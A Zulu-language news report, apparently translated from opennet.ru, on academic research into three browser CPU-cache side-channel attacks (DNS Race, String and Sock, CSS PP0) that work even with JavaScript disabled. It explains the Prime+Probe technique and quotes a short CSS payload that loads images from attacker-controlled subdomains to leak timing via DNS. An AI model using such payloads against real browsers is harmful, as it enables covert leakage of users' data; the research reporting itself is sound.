Ukuhlasela kokukhipha inqolobane ye-CPU kwenziwe esipheqululini sewebhu ngaphandle kwe-JavaScript

Ithimba labacwaningi abavela kumanyuvesi amaningana aseMelika, e-Israel nase-Australia lenze ukuhlasela okuthathu okusebenza kuziphequluli zewebhu ukuze likhiphe ulwazi mayelana nokuqukethwe kwenqolobane yokucubungula. Enye indlela isebenza kuziphequluli ezingenayo i-JavaScript, kanti enye idlula izindlela ezikhona zokuvikela ekuhlaselweni kwesiteshi esiseceleni, okuhlanganisa nalezo ezisetshenziswa kusiphequluli se-Tor ne-DeterFox. Ikhodi yokubonisa ukuhlaselwa, kanye nezingxenye zeseva ezidingekayo ekuhlaselweni, zishicilelwa ku-GitHub.

Ukuhlaziya okuqukethwe kwenqolobane, konke ukuhlasela kusebenzisa indlela ye-Prime+Probe, ehlanganisa ukugcwalisa inqolobane ngesethi evamile yamanani kanye nokuthola izinguquko ngokulinganisa isikhathi sokufinyelela kuzo lapho uzigcwalisa kabusha. Ukuze udlule izindlela zokuphepha ezikhona kuziphequluli eziphazamisa ukukalwa kwesikhathi okunembile, ngezinketho ezimbili, isikhalazo senziwa ku-DNS noma iseva ye-WebSocket elawulwa umhlaseli, egcina ilogu yesikhathi sezicelo ezitholiwe. Kokunye, isikhathi sokuphendula se-DNS esinqunyiwe sisetshenziswa njengereferensi yesikhathi.

Izilinganiso ezenziwe kusetshenziswa i-DNS yangaphandle noma amaseva e-WebSocket, kusetshenziswa isistimu yokuhlukanisa ngokusekelwe ekufundeni komshini, bekwanele ukubikezela amanani ngokunemba okungafika ku-98% esimweni esihle kakhulu (isilinganiso esingu-80-90%). Izindlela zokuhlasela ziye zahlolwa kumapulatifomu e-hardware ahlukahlukene (i-Intel, i-AMD Ryzen, i-Apple M1, i-Samsung Exynos) futhi ifakazelwe ukuthi itholakala emhlabeni wonke.

Ukuhlasela kokukhipha inqolobane ye-CPU kwenziwe esipheqululini sewebhu ngaphandle kwe-JavaScript

Okuhlukile kokuqala kokuhlasela koMjaho we-DNS kusebenzisa ukuqaliswa kwakudala kwendlela ye-Prime+Probe kusetshenziswa amalungu afanayo e-JavaScript. Umehluko ubikela ekusetshenzisweni kwesikhathi esisekelwe ku-DNS sangaphandle kanye nesibambi se-onerror, esiqaliswa lapho kwenziwa umzamo wokulayisha isithombe esivela esizindeni esingekho. Isibali sikhathi sangaphandle sivumela ukuhlasela kwe-Prime+Probe kuziphequluli ezikhawulela noma ezikhubaza ngokuphelele ukufinyelela kuzibali sikhathi ze-JavaScript.

Kuseva ye-DNS etholakala kunethiwekhi efanayo ye-Ethernet, ukunemba kwesibali sikhathi kulinganiselwa cishe ku-2 ms, okwanele ukwenza ukuhlasela kwesiteshi eseceleni (uma siqhathanisa, ukunemba kwesibali sikhathi esijwayelekile seJavaScript ku-Tor Browser yehliselwe ku-100 ms). Ngokuhlaselwa, ukulawula iseva ye-DNS akudingekile, njengoba isikhathi sokwenziwa komsebenzi sikhethiwe ukuze isikhathi sokuphendula esivela ku-DNS sisebenze njengophawu lokuqedwa kwangaphambili kwesheke (kuye ngokuthi isibambi se-onerror siqalisiwe. ngaphambili noma kamuva, kukhishwa isiphetho mayelana nesivinini sokusebenza kokuhlola ngenqolobane) .

Indlela yesibili yokuhlasela, "String and Sock", ihlose ukweqa amasu okuvikela akhawulela ukusetshenziswa okuphansi kwezinhlaka ku-JavaScript. Esikhundleni sama-arrays, i-String ne-Sock isebenzisa imisebenzi kuzintambo ezinkulu kakhulu, usayizi wazo okhethwayo ukuze okuguquguqukayo kufake yonke inqolobane ye-LLC (inqolobane yezinga lokugcina). Okulandelayo, kusetshenziswa umsebenzi we-indexOf(), uchungechunge oluncane oluncane luseshwa kuyunithi yezinhlamvu, eqale ingekho kuchungechunge lomthombo, i.e. umsebenzi wokusesha uphumela ekuphindaphindeni uchungechunge lonke. Njengoba usayizi womugqa uhambisana nosayizi wenqolobane ye-LLC, ukuskena kukuvumela ukuthi wenze umsebenzi wokuhlola inqolobane ngaphandle kokukhohlisa ama-array. Ukukala ukubambezeleka, esikhundleni se-DNS, ucingo lwenziwa kuseva ye-WebSocket elawulwa umhlaseli - ngaphambi nangemva kokuqedwa komsebenzi wosesho, imibuzo ithunyelwa kulayini, ngokusekelwe kulokho iseva ebala ukubambezeleka okusetshenziselwa ukuhlaziya inqolobane. okuqukethwe.

Okuhlukile kwesithathu kokuhlasela kwe-“CSS PP0” kusetshenziswa nge-HTML ne-CSS, futhi kungasebenza kuziphequluli ezine-JavaScript evaliwe. Indlela ifana ne "String and Sock", kodwa ayiboshiwe kuJavaScript. Ngesikhathi sokuhlasela, isethi yezikhethi ze-CSS kukhiqizwa lokho kusesha ngemaski. Iyunithi yezinhlamvu yokuqala enkulu egcwalisa inqolobane isethwa ngokwakha ithegi ye-div enegama lekilasi elikhulu kakhulu. Ngaphakathi kukhona isethi yamanye ama-div anezihlonzi zawo. Ngayinye yalezi div ezisidleke zinesitayela sayo nesikhethi esisesha umucu ongaphansi. Lapho sinikezela ngekhasi, isiphequluli siqale sizama ukucubungula ama-div angaphakathi, okuholela ekusebenzeni kokusesha kumugqa omkhulu. Ukusesha kwenziwa kusetshenziswa imaski elahlekile ngamabomu futhi kuholela ekuphindaphindeni kuwo wonke ulayini, ngemva kwalokho isimo sokuthi "hhayi" siyaqalwa futhi kwenziwa umzamo wokulayisha isithombe sangemuva esibhekisela ezizindeni ezingahleliwe: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Izizinda ezingaphansi zinikezwa iseva ye-DNS yomhlaseli, engakala ukubambezeleka ekutholeni izicelo. Iseva ye-DNS ikhipha i-NXDOMAIN yazo zonke izicelo futhi igcina ilogu yesikhathi esiqondile sezicelo. Njengomphumela wokucubungula isethi yama-div, iseva ye-DNS yomhlaseli ithola uchungechunge lwezicelo, ukubambezeleka okuhlobene nomphumela wokuhlola okuqukethwe kwenqolobane.

Ukuhlasela kokukhipha inqolobane ye-CPU kwenziwe esipheqululini sewebhu ngaphandle kwe-JavaScript


Source: opennet.ru

Engeza amazwana